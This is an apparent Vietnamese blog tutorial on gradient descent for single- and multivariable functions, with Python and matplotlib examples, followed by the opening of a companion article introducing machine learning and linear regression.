<p>Có nhiều phương thức giảm tốc độ học theo thời gian. Không có phương thức nào tốt hơn phương thức nào. Chúng ta cần thử với tất cả để chọn ra cách tốt nhất cho mục đích của mình. Một vài phương thức phổ dụng:</p>
<dl class="docutils">
<dt>Sử dụng hằng số</dt>
<dd>Đôi khi chúng ta không cần phải thay đổi tốc độ học theo thời gian. Sử dụng một hằng số đã đủ để giải quyết vấn đề.</dd>
<dt>Giảm theo thời gian</dt>
<dd>Ta có thể giảm tốc độ học theo công thức, ví dụ như <span class="math">\(\alpha = \alpha_0 \times \cfrac{1}{1 + t}\)</span>. Ở đây <span class="math">\(t\)</span> là số bước đã chạy.</dd>
<dt>Giảm theo hàm bậc thang (step function)</dt>
<dd>Tương tự như giảm theo thời gian nhưng ta sẽ giữ tốc độ học hiện tại lâu hơn một tí. Ví dụ như ta có thể giảm tốc độ học từ 1.0 xuống 0.1 sau 10 bước chạy, rồi xuống 0.01 sau 100 bước kế.</dd>
</dl>
<p>Tóm lại, cũng như nhiều tham số khác, việc xác định tốc độ học thích hợp vẫn chủ yếu dựa vào kết quả của nhiều thử nghiệm.</p>
</div>
</div>
<div class="section" id="tim-diem-cuc-tieu-cua-ham-da-bien">
<h2>Tìm điểm cực tiểu của hàm đa biến</h2>
<p>Trong hai ví dụ trên, chúng ta xét hàm đơn biến theo dạng <span class="math">\(y = f(x)\)</span>. Trong ví dụ này chúng ta sẽ xét ví dụ hàm đa biến <span class="math">\(z = f(x, y) = x^2 + y^2\)</span>.</p>
<p>Vì đây là hàm đa biến, sự thay đổi của từng biến sẽ ảnh hưởng đến sự thay đổi chung của hàm. Do đó, chúng ta không thể xuống dốc theo từng biến riêng biệt (tức là xuống dốc theo <span class="math">\(x\)</span> trước, rồi sau đó theo <span class="math">\(y\)</span>) mà phải xuống dốc theo tất cả các biến cùng một lúc.</p>
<div class="section" id="dinh-nghia-doc-gradient">
<h3>Định nghĩa dốc (gradient)</h3>
<p>Dốc còn được biết đến như là sự biến thiên tại chỗ ở một điểm, khác với sự biến thiên tổng quát theo khoảng giá trị như trong bảng biến thiên. Nhiều tài liệu để nguyên từ tiếng Anh và dịch là gra-di-en.</p>
<p>Ở hai ví dụ trên, độ dốc của hàm đơn biến là đạo hàm bậc nhất của biến, hướng được quy định bởi dấu của đạo hàm (âm hướng xuống, dương hướng lên). Với hàm đa biến, dốc được xác định bởi sự thay đổi của từng biến. Với cách ghi dạng véc tơ, dốc của hàm <span class="math">\(f\)</span> được viết là <span class="math">\(\vec{\nabla} f\)</span> hoặc <span class="math">\(\nabla f\)</span> là một véc tơ với mỗi phần tử là dốc của biến tương ứng.</p>
<div class="math">
\begin{equation*}
\nabla f(x_1, \dots, x_n) = \left( \cfrac{\partial f}{\partial x_1}, \dots, \cfrac{\partial f}{\partial x_n} \right)
\end{equation*}
</div>
<p>Do đó, kỹ thuật xuống dốc của hàm đa biến được viết theo dạng véc tơ:</p>
<div class="math">
\begin{equation*}
\left( x_1^{(t+1)}, \dots, x_n^{(t+1)} \right) = \left( x_1^{(t)}, \dots, x_n^{(t)} \right) - \alpha \times \nabla f \left( x_1^{(t)}, \dots, x_n^{(t)} \right)
\end{equation*}
</div>
<p>Hay theo từng biến với <span class="math">\(j \in \{ 1, \dots, n \}\)</span>:</p>
<div class="math">
\begin{equation*}
x_j^{(t+1)} = x_j^{(t)} - \alpha \times \cfrac{\partial}{\partial x_j} f \left( x_1^{(t)}, \dots, x_n^{(t)} \right)
\end{equation*}
</div>
<p>Cài đặt kỹ thuật xuống dốc để tìm cực tiểu của hàm <span class="math">\(z = x^2 + y^2\)</span> như sau:</p>
<div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="k">def</span> <span class="nf">f_prime_x</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
<span class="k">return</span> <span class="mi">2</span><span class="o">*</span><span class="n">x</span>
<span class="k">def</span> <span class="nf">f_prime_y</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
<span class="k">return</span> <span class="mi">2</span><span class="o">*</span><span class="n">y</span>
<span class="n">x</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="o">-</span><span class="n">sys</span><span class="o">.</span><span class="n">maxint</span><span class="p">,</span> <span class="n">sys</span><span class="o">.</span><span class="n">maxint</span><span class="p">)</span>
<span class="n">y</span> <span class="o">=</span> <span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="o">-</span><span class="n">sys</span><span class="o">.</span><span class="n">maxint</span><span class="p">,</span> <span class="n">sys</span><span class="o">.</span><span class="n">maxint</span><span class="p">)</span>
<span class="n">alpha</span> <span class="o">=</span> <span class="mf">0.1</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1000</span><span class="p">):</span>
<span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="o">=</span> <span class="n">x</span> <span class="o">-</span> <span class="n">alpha</span> <span class="o">*</span> <span class="n">f_prime_x</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">),</span> <span class="n">y</span> <span class="o">-</span> <span class="n">alpha</span> <span class="o">*</span> <span class="n">f_prime_y</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span>
</pre></div>
<p>Khi chạy đoạn mã này ta sẽ thấy kết quả tương tự như sau:</p>
<pre class="literal-block">
(1.9555628848697857e-88, -1.3023401849027657e-88)
</pre>
<p>Điểm cực trị đúng là tại <span class="math">\((0, 0)\)</span>.</p>
<p>Hình bên dưới minh họa việc xuống dốc từ điểm <span class="math">\((2.5, 2.5)\)</span>. Điểm vàng chỉ xuống dốc theo biến <span class="math">\(x\)</span>, điểm xanh lá cây chỉ xuống dốc theo biến <span class="math">\(y\)</span> và điểm xanh da trời xuống dốc theo cả hai biến.</p>
<div class="figure">
<img alt="" src="/static/machine-learning/gradient-descent-6.webp" />
<p class="caption">Xuống dốc hàm đa biến <span class="math">\(z = x^2 + y^2\)</span></p>
<div class="legend">
<div class="highlight"><pre><span></span><span class="c1"># encoding: utf-8</span>
<span class="kn">from</span> <span class="nn">mpl_toolkits.mplot3d</span> <span class="kn">import</span> <span class="n">Axes3D</span>
<span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">animation</span>
<span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">cm</span>
<span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
<span class="k">def</span> <span class="nf">f</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
<span class="k">return</span> <span class="n">x</span><span class="o">**</span><span class="mi">2</span> <span class="o">+</span> <span class="n">y</span><span class="o">**</span><span class="mi">2</span>
<span class="k">def</span> <span class="nf">f_prime</span><span class="p">(</span><span class="n">v</span><span class="p">):</span>
<span class="k">return</span> <span class="mi">2</span><span class="o">*</span><span class="n">v</span>
<span class="n">alpha</span> <span class="o">=</span> <span class="mf">0.05</span>
<span class="n">X</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">arange</span><span class="p">(</span><span class="o">-</span><span class="mi">3</span><span class="p">,</span> <span class="mf">3.1</span><span class="p">,</span> <span class="mf">0.1</span><span class="p">)</span>
<span class="n">Y</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">arange</span><span class="p">(</span><span class="o">-</span><span class="mi">3</span><span class="p">,</span> <span class="mf">3.1</span><span class="p">,</span> <span class="mf">0.1</span><span class="p">)</span>
<span class="n">X</span><span class="p">,</span> <span class="n">Y</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">meshgrid</span><span class="p">(</span><span class="n">X</span><span class="p">,</span> <span class="n">Y</span><span class="p">)</span>
<span class="n">Z</span> <span class="o">=</span> <span class="n">f</span><span class="p">(</span><span class="n">X</span><span class="p">,</span> <span class="n">Y</span><span class="p">)</span>
<span class="n">fig</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">figure</span><span class="p">()</span>
<span class="n">fig</span><span class="o">.</span><span class="n">subplots_adjust</span><span class="p">(</span><span class="n">left</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">bottom</span><span class="o">=</span><span class="mf">0.05</span><span class="p">,</span> <span class="n">right</span><span class="o">=</span><span class="mf">0.95</span><span class="p">,</span> <span class="n">top</span><span class="o">=</span><span class="mf">1.0</span><span class="p">,</span>
<span class="n">wspace</span><span class="o">=</span><span class="kc">None</span><span class="p">,</span> <span class="n">hspace</span><span class="o">=</span><span class="kc">None</span><span class="p">)</span>
<span class="n">ax</span> <span class="o">=</span> <span class="n">fig</span><span class="o">.</span><span class="n">add_subplot</span><span class="p">(</span><span class="mi">121</span><span class="p">,</span> <span class="n">projection</span><span class="o">=</span><span class="s1">'3d'</span><span class="p">)</span>
<span class="n">bx</span> <span class="o">=</span> <span class="n">fig</span><span class="o">.</span><span class="n">add_subplot</span><span class="p">(</span><span class="mi">122</span><span class="p">,</span> <span class="n">aspect</span><span class="o">=</span><span class="s1">'equal'</span><span class="p">)</span>
<span class="n">ax</span><span class="o">.</span><span class="n">plot_surface</span><span class="p">(</span><span class="n">X</span><span class="p">,</span> <span class="n">Y</span><span class="p">,</span> <span class="n">Z</span><span class="p">,</span> <span class="n">cmap</span><span class="o">=</span><span class="n">cm</span><span class="o">.</span><span class="n">coolwarm</span><span class="p">)</span>
<span class="n">ax</span><span class="o">.</span><span class="n">set_title</span><span class="p">(</span><span class="sa">u</span><span class="s1">'Góc nhìn 3D'</span><span class="p">)</span>
<span class="n">bx</span><span class="o">.</span><span class="n">contourf</span><span class="p">(</span><span class="n">X</span><span class="p">,</span> <span class="n">Y</span><span class="p">,</span> <span class="n">Z</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="n">cmap</span><span class="o">=</span><span class="n">cm</span><span class="o">.</span><span class="n">coolwarm</span><span class="p">)</span>
<span class="n">bx</span><span class="o">.</span><span class="n">set_title</span><span class="p">(</span><span class="sa">u</span><span class="s1">'Nhìn từ trên xuống'</span><span class="p">)</span>
<span class="n">x0</span> <span class="o">=</span> <span class="n">y0</span> <span class="o">=</span> <span class="mf">2.5</span>
<span class="n">x</span> <span class="o">=</span> <span class="n">x0</span>
<span class="n">y</span> <span class="o">=</span> <span class="n">y0</span>
<span class="n">z</span> <span class="o">=</span> <span class="n">f</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span>
<span class="n">dot_a_x</span> <span class="o">=</span> <span class="n">ax</span><span class="o">.</span><span class="n">plot3D</span><span class="p">([</span><span class="n">x</span><span class="p">],</span> <span class="p">[</span><span class="n">y</span><span class="p">],</span> <span class="p">[</span><span class="n">z</span><span class="p">],</span> <span class="s1">'o'</span><span class="p">,</span> <span class="n">color</span><span class="o">=</span><span class="s1">'yellow'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">dot_a_y</span> <span class="o">=</span> <span class="n">ax</span><span class="o">.</span><span class="n">plot3D</span><span class="p">([</span><span class="n">x</span><span class="p">],</span> <span class="p">[</span><span class="n">y</span><span class="p">],</span> <span class="p">[</span><span class="n">z</span><span class="p">],</span> <span class="s1">'o'</span><span class="p">,</span> <span class="n">color</span><span class="o">=</span><span class="s1">'green'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">dot_a</span> <span class="o">=</span> <span class="n">ax</span><span class="o">.</span><span class="n">plot3D</span><span class="p">([</span><span class="n">x</span><span class="p">],</span> <span class="p">[</span><span class="n">y</span><span class="p">],</span> <span class="p">[</span><span class="n">z</span><span class="p">],</span> <span class="s1">'o'</span><span class="p">,</span> <span class="n">color</span><span class="o">=</span><span class="s1">'cyan'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">dot_b_x</span> <span class="o">=</span> <span class="n">bx</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="n">x</span><span class="p">],</span> <span class="p">[</span><span class="n">y</span><span class="p">],</span> <span class="s1">'o'</span><span class="p">,</span> <span class="n">color</span><span class="o">=</span><span class="s1">'yellow'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">dot_b_y</span> <span class="o">=</span> <span class="n">bx</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="n">x</span><span class="p">],</span> <span class="p">[</span><span class="n">y</span><span class="p">],</span> <span class="s1">'o'</span><span class="p">,</span> <span class="n">color</span><span class="o">=</span><span class="s1">'green'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">dot_b</span> <span class="o">=</span> <span class="n">bx</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="n">x</span><span class="p">],</span> <span class="p">[</span><span class="n">y</span><span class="p">],</span> <span class="s1">'o'</span><span class="p">,</span> <span class="n">color</span><span class="o">=</span><span class="s1">'cyan'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="n">t</span><span class="p">):</span>
<span class="k">if</span> <span class="n">t</span> <span class="o"><=</span> <span class="mi">5</span><span class="p">:</span>
<span class="k">return</span>
<span class="k">global</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span>
<span class="n">x</span> <span class="o">=</span> <span class="n">x</span> <span class="o">-</span> <span class="n">alpha</span> <span class="o">*</span> <span class="n">f_prime</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
<span class="n">y</span> <span class="o">=</span> <span class="n">y</span> <span class="o">-</span> <span class="n">alpha</span> <span class="o">*</span> <span class="n">f_prime</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
<span class="n">dot_a</span><span class="o">.</span><span class="n">set_data</span><span class="p">([</span><span class="n">x</span><span class="p">],</span> <span class="p">[</span><span class="n">y</span><span class="p">])</span>
<span class="n">dot_a</span><span class="o">.</span><span class="n">set_3d_properties</span><span class="p">([</span><span class="n">f</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)])</span>
<span class="n">dot_a_x</span><span class="o">.</span><span class="n">set_data</span><span class="p">([</span><span class="n">x</span><span class="p">],</span> <span class="p">[</span><span class="n">y0</span><span class="p">])</span>
<span class="n">dot_a_x</span><span class="o">.</span><span class="n">set_3d_properties</span><span class="p">([</span><span class="n">f</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y0</span><span class="p">)])</span>
<span class="n">dot_a_y</span><span class="o">.</span><span class="n">set_data</span><span class="p">([</span><span class="n">x0</span><span class="p">],</span> <span class="p">[</span><span class="n">y</span><span class="p">])</span>
<span class="n">dot_a_y</span><span class="o">.</span><span class="n">set_3d_properties</span><span class="p">([</span><span class="n">f</span><span class="p">(</span><span class="n">x0</span><span class="p">,</span> <span class="n">y</span><span class="p">)])</span>
<span class="n">dot_b</span><span class="o">.</span><span class="n">set_data</span><span class="p">([</span><span class="n">x</span><span class="p">],</span> <span class="p">[</span><span class="n">y</span><span class="p">])</span>
<span class="n">dot_b_x</span><span class="o">.</span><span class="n">set_data</span><span class="p">([</span><span class="n">x</span><span class="p">],</span> <span class="p">[</span><span class="n">y0</span><span class="p">])</span>
<span class="n">dot_b_y</span><span class="o">.</span><span class="n">set_data</span><span class="p">([</span><span class="n">x0</span><span class="p">],</span> <span class="p">[</span><span class="n">y</span><span class="p">])</span>
<span class="n">anim</span> <span class="o">=</span> <span class="n">animation</span><span class="o">.</span><span class="n">FuncAnimation</span><span class="p">(</span><span class="n">fig</span><span class="p">,</span> <span class="n">run</span><span class="p">,</span> <span class="n">repeat</span><span class="o">=</span><span class="kc">False</span><span class="p">,</span> <span class="n">frames</span><span class="o">=</span><span class="mi">50</span><span class="p">)</span>
<span class="n">anim</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="s1">'gradient-descent-6.gif'</span><span class="p">,</span> <span class="n">writer</span><span class="o">=</span><span class="s1">'imagemagick'</span><span class="p">)</span>
</pre></div>
</div>
</div>
</div>
</div>
<div class="section" id="tom-tat">
<h2>Tóm tắt</h2>
<p>Trong bài viết này, chúng ta đã thiết lập nên kỹ thuật xuống dốc dựa vào những nhận xét trực giác về mối quan hệ giữa dốc của hàm và giá trị cực tiểu. Nếu dốc đi lên, chúng ta cần giảm giá trị biến, và nếu dốc đi xuống, chúng ta cần tăng giá trị biến. Chúng ta cũng xem qua ảnh hưởng của hệ số <span class="math">\(\alpha\)</span> (hay tốc độ học) đến sự xuống dốc, và nhắc đến một số điều chỉnh nhằm làm cho việc xuống dốc có hiệu quả cao hơn. Cuối cùng, chúng ta đã tổng quát hóa kỹ thuật xuống dốc cho hàm đơn biến để áp dụng cho hàm đa biến.</p>
<p>Một điều quan trọng chúng ta có thể nhận ra là kỹ thuật xuống dốc không đảm bảo sẽ đưa lại kết quả đúng. Các cách giảm tốc độ học cũng không thể đảm bảo điều gì. Đau lòng mà nói thì các kỹ thuật đã trình bày trong bài này chỉ mang tính gần đúng, nhưng trong rất nhiều trường hợp thì giá trị gần đúng cũng có thể đáp ứng được nhu cầu đặt ra.</p>
<p>Kỹ thuật xuống dốc được trình bày ở đây là cách đơn giản nhất. Có nhiều biến thể của kỹ thuật này nhằm làm giảm lượng tính toán, tăng tốc độ hội tụ. Bạn đọc có thể tham khảo thêm trong các tài liệu được liệt kê ở cuối bài.</p>
<p>Cuối cùng, để tìm cực đại của một hàm, ta có thể dùng kỹ thuật <em>lên dốc</em> (gradient ascent). Sự thay đổi duy nhất là chuyển dấu trừ trong công thức xuống dốc thành dấu cộng, tức là nếu dốc đi lên, thì ta đi lên theo dốc, nếu dốc đi xuống, thì ta đi lên ngược dốc.</p>
</div>
<div class="section" id="tai-lieu-doc-them">
<h2>Tài liệu đọc thêm</h2>
<ol class="arabic simple">
<li><a class="reference external" href="http://theory.stanford.edu/~tim/s16/l/l5.pdf">Tài liệu giảng</a> trong môn <a class="reference external" href="http://theory.stanford.edu/~tim/notes.html">CS168: Modern Algorithmic Toolbox</a> do Tim Roughgarden và Greg Valiant dạy ở đại học Stanford.</li>
<li><a class="reference external" href="https://www.coursera.org/learn/machine-learning/lecture/8SpIM/gradient-descent">Bài giảng Gradient Descent</a> trong môn <a class="reference external" href="https://www.coursera.org/learn/machine-learning">Machine Learning</a> do Andrew Ng dạy ở Coursera.</li>
<li><a class="reference external" href="https://machinelearningcoban.com/2017/01/12/gradientdescent/">Bài 7: Gradient Descent (phần 1/2)</a> và <a class="reference external" href="https://machinelearningcoban.com/2017/01/16/gradientdescent2/">Bài 8: Gradient Descent (phần 2/2)</a> ở trang mạng <a class="reference external" href="https://machinelearningcoban.com">Machine Learning cơ bản</a> của Vũ Hữu Tiệp ở Đại học bang Pennsylvania (Pennsylvania State University), Hoa Kỳ.</li>
</ol>
</div>
<script type='text/javascript'>if (!document.getElementById('mathjaxscript_pelican_#%@#$@#')) {
var align = "center",
indent = "0em",
linebreak = "false";
if (false) {
align = (screen.width < 768) ? "left" : align;
indent = (screen.width < 768) ? "0em" : indent;
linebreak = (screen.width < 768) ? 'true' : linebreak;
}
var mathjaxscript = document.createElement('script');
mathjaxscript.id = 'mathjaxscript_pelican_#%@#$@#';
mathjaxscript.type = 'text/javascript';
mathjaxscript.src = 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.3/latest.js?config=TeX-AMS-MML_HTMLorMML';
mathjaxscript[(window.opera ? "innerHTML" : "text")] =
"MathJax.Hub.Config({" +
" config: ['MMLorHTML.js']," +
" TeX: { extensions: ['AMSmath.js','AMSsymbols.js','noErrors.js','noUndefined.js'], equationNumbers: { autoNumber: 'AMS' } }," +
" jax: ['input/TeX','input/MathML','output/HTML-CSS']," +
" extensions: ['tex2jax.js','mml2jax.js','MathMenu.js','MathZoom.js']," +
" displayAlign: '"+ align +"'," +
" displayIndent: '"+ indent +"'," +
" showMathMenu: true," +
" messageStyle: 'normal'," +
" tex2jax: { " +
" inlineMath: [ ['\\\\(','\\\\)'] ], " +
" displayMath: [ ['$$','$$'] ]," +
" processEscapes: true," +
" preview: 'TeX'," +
" }, " +
" 'HTML-CSS': { " +
" styles: { '.MathJax_Display, .MathJax .mo, .MathJax .mi, .MathJax .mn': {color: 'inherit ! important'} }," +
" linebreaks: { automatic: "+ linebreak +", width: '90% container' }," +
" }, " +
"}); " +
"if ('default' !== 'default') {" +
"MathJax.Hub.Register.StartupHook('HTML-CSS Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax['HTML-CSS'].FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"MathJax.Hub.Register.StartupHook('SVG Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax.SVG.FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"}";
(document.body || document.getElementsByTagName('head')[0]).appendChild(mathjaxscript);
}
</script>Máy học phổ thông (1)2018-04-07T13:58:00+07:002018-04-07T13:58:00+07:00Nguyễn Thành Namtag:None,2018-04-07:2018/04/may-hoc-pho-thong-1.html<div class="section" id="gioi-thieu">
<h2>Giới thiệu</h2>
<div class="section" id="loat-bai-may-hoc-pho-thong">
<h3>Loạt bài "Máy học phổ thông"</h3>
<p>Loạt bài <strong>Máy học phổ thông</strong> nhằm vào một mục tiêu đơn giản là diễn giải một số kỹ thuật máy học với kiến thức toán phổ thông mà học sinh phổ thông trung học (cấp 3, khoảng lớp 11, 12) có …</p></div></div><div class="section" id="gioi-thieu">
<h2>Giới thiệu</h2>
<div class="section" id="loat-bai-may-hoc-pho-thong">
<h3>Loạt bài "Máy học phổ thông"</h3>
<p>Loạt bài <strong>Máy học phổ thông</strong> nhằm vào một mục tiêu đơn giản là diễn giải một số kỹ thuật máy học với kiến thức toán phổ thông mà học sinh phổ thông trung học (cấp 3, khoảng lớp 11, 12) có thể hiểu, và áp dụng ngay lập tức. Dĩ nhiên, vì đây là trang mạng của nhóm Python cho người Việt nên ngôn ngữ lập trình được chọn để thể hiện các kỹ thuật trong loạt bài này sẽ là ngôn ngữ Python.</p>
</div>
<div class="section" id="may-hoc">
<h3>Máy học</h3>
<p>Máy học (machine learning) là một nhánh khoa học máy tính tận dụng các kỹ thuật tính toán để tạo cho máy tính khả năng "học" từ dữ liệu, mà không cần phải được lập trình rõ ràng. Một số ví dụ ứng dụng máy học bao gồm việc phỏng đoán giá nhà dựa trên diện tích đất, tự động phân loại hoa từ kích thước cánh, hoặc tự tìm đường nhanh nhất để thoát khỏi mê cung.</p>
<p>Máy học thường được chia làm ba nhóm chính:</p>
<dl class="docutils">
<dt>Có giám sát (supervised)</dt>
<dd>Các kỹ thuật trong nhóm này tận dụng sự hiện diện của kết quả gốc để điều chỉnh việc học của máy tính. Ví dụ như giá nhà đã bán gần đây có thể giúp cho việc dự đoán giá già sẽ bán được trong tương lai.</dd>
<dt>Không giám sát (unsupervised)</dt>
<dd>Các kỹ thuật trong nhóm này không sử dụng kết quả gốc nhưng vẫn có thể phân loại dữ liệu đầu vào thành nhiều nhóm riêng biệt. Ví dụ như các loại hoa có thể được phân loại theo kích thước cánh hoa to hay nhỏ, dài hay ngắn một cách tự động mà không cần bất kỳ chỉ dẫn cụ thể nào.</dd>
<dt>Củng cố (reinforcement)</dt>
<dd>Sự phối hợp giữa học có giám sát, và học không giám sát tạo ra các kỹ thuật học củng cố trong đó kết quả gốc chỉ được sử dụng sau khi một loạt các lựa chọn đã xảy ra. Ví dụ trong khi tìm đường thoát khỏi mê cung, chỉ sau khi tìm được đường đến cửa ra thì ta mới biết con đường đã đi là con đường tốt.</dd>
</dl>
</div>
</div>
<div class="section" id="hoi-quy-tuyen-tinh">
<h2>Hồi quy tuyến tính</h2>
<p>Một trong các kỹ thuật phổ dụng nhất trong máy học là kỹ thuật phân tích hồi quy tuyến tính (linear regression). Tên gọi này có hai phần quan trọng:</p>
<dl class="docutils">
<dt>Hồi quy (regression)</dt>
<dd>Phân tích hồi quy cho phép ta tìm ra quan hệ giữa các biến độc lập (giả sử là <span class="math">\(x_1, x_2, \dots, x_n\)</span>) và biến phụ thuộc (giả sử là <span class="math">\(y\)</span>). Bình thường chúng ta sẽ có sẵn <em>mối quan hệ</em> <span class="math">\(y = f(x_1, x_2, \dots, x_n)\)</span> để từ đó xác định <em>giá trị</em> của biến phụ thuộc theo biến độc lập. Mục tiêu của phân tích hồi quy là tìm mối quan hệ từ các giá trị của biến độc lập và biến phụ thuộc.</dd>
<dt>Tuyến tính (linear)</dt>
<dd>Trong hồi quy tuyến tính, mối quan hệ giữa các biến độc lập và biến phụ thuộc được giả định là một mối quan hệ tuyến tính. Tức là <span class="math">\(y = \theta_n \times x_n + \theta_{n-1} \times x_{n-1} + \dots + \theta_1 \times x_1 + \theta_0 \times 1\)</span> với <span class="math">\(\theta_0, \theta_1, \dots, \theta_n\)</span> là các tham số cần tìm. Các tài liệu khác cũng hay dùng ký hiệu <span class="math">\(w\)</span> (trọng số của mô hình, tiếng Anh là weight) thay vì <span class="math">\(\theta\)</span>.</dd>
</dl>
<p>Chúng ta sẽ từng bước xây dựng và xem xét nguyên tắc của phương pháp hồi quy tuyến tính thông qua một số ví dụ trong các mục kế tiếp.</p>
</div>
<div class="section" id="uoc-luong-y-ax-b">
<h2>Ước lượng <span class="math">\(y = ax + b\)</span></h2>
<div class="section" id="khong-co-sai-so">
<h3>Không có sai số</h3>
<p>Giả sử chúng ta có bảng dữ liệu đầu vào như sau:</p>
<table border="1" class="docutils">
<colgroup>
<col width="17%" />
<col width="46%" />
<col width="38%" />
</colgroup>
<thead valign="bottom">
<tr><th class="head">Dòng</th>
<th class="head"><span class="math">\(x_1\)</span></th>
<th class="head"><span class="math">\(y\)</span></th>
</tr>
</thead>
<tbody valign="top">
<tr><td>0</td>
<td>-2</td>
<td>0</td>
</tr>
<tr><td>1</td>
<td>0</td>
<td>-4</td>
</tr>
</tbody>
</table>
<p>Chúng ta muốn tìm xem với <span class="math">\(x_1 = 2\)</span> (không có trong bảng trên) thì sẽ nhận được giá trị <span class="math">\(y\)</span> là bao nhiêu.</p>
<div class="figure">
<img alt="" src="/static/machine-learning/linear-reg-1.png" />
<p class="caption">Đường thẳng đi qua chính xác hai điểm</p>
<div class="legend">
<div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="n">xs</span> <span class="o">=</span> <span class="p">[</span><span class="o">-</span><span class="mi">2</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
<span class="n">ys</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">4</span><span class="p">]</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">xs</span><span class="p">,</span> <span class="n">ys</span><span class="p">,</span> <span class="s1">'bo'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">xs</span><span class="p">,</span> <span class="n">ys</span><span class="p">,</span> <span class="s1">'g--'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">savefig</span><span class="p">(</span><span class="s1">'linear-reg-1.png'</span><span class="p">)</span>
</pre></div>
</div>
</div>
<p>Vì ta đã giả định <span class="math">\(y = \theta_1 x_1 + \theta_0\)</span>, và ta có đúng hai điểm đầu vào, nên cách đơn giản nhất là giải hệ phương trình để tìm ra tham số <span class="math">\(\theta_1, \theta_0\)</span> của quan hệ đó. Ta sẽ có <span class="math">\(\theta_1 = -2, \theta_0 = -4\)</span>. Vậy nếu <span class="math">\(x_1 = 2\)</span> giá trị tương ứng sẽ là <span class="math">\(y = -8\)</span>.</p>
<p>Đây chính là cách giải quyết vấn đề bình thường, khi ta phải lập trình rõ ràng từng bước cần làm để máy tính thực hiện. Nếu như bảng dữ liệu đầu vào có nhiều hơn 2 dòng thì làm sao chương trình của chúng ta tìm ra mối quan hệ giữa các điểm này?</p>
</div>
<div class="section" id="them-sai-so">
<h3>Thêm sai số</h3>
<p>Giả sử như bảng đầu vào của chúng ta bây giờ có thêm một số điểm mới như sau:</p>
<table border="1" class="docutils">
<colgroup>
<col width="17%" />
<col width="46%" />
<col width="38%" />
</colgroup>
<thead valign="bottom">
<tr><th class="head">Dòng</th>
<th class="head"><span class="math">\(x_1\)</span></th>
<th class="head"><span class="math">\(y\)</span></th>
</tr>
</thead>
<tbody valign="top">
<tr><td>0</td>
<td>-2</td>
<td>0</td>
</tr>
<tr><td>1</td>
<td>-1</td>
<td>-3</td>
</tr>
<tr><td>2</td>
<td>0</td>
<td>-4</td>
</tr>
<tr><td>3</td>
<td>1</td>
<td>-3</td>
</tr>
</tbody>
</table>
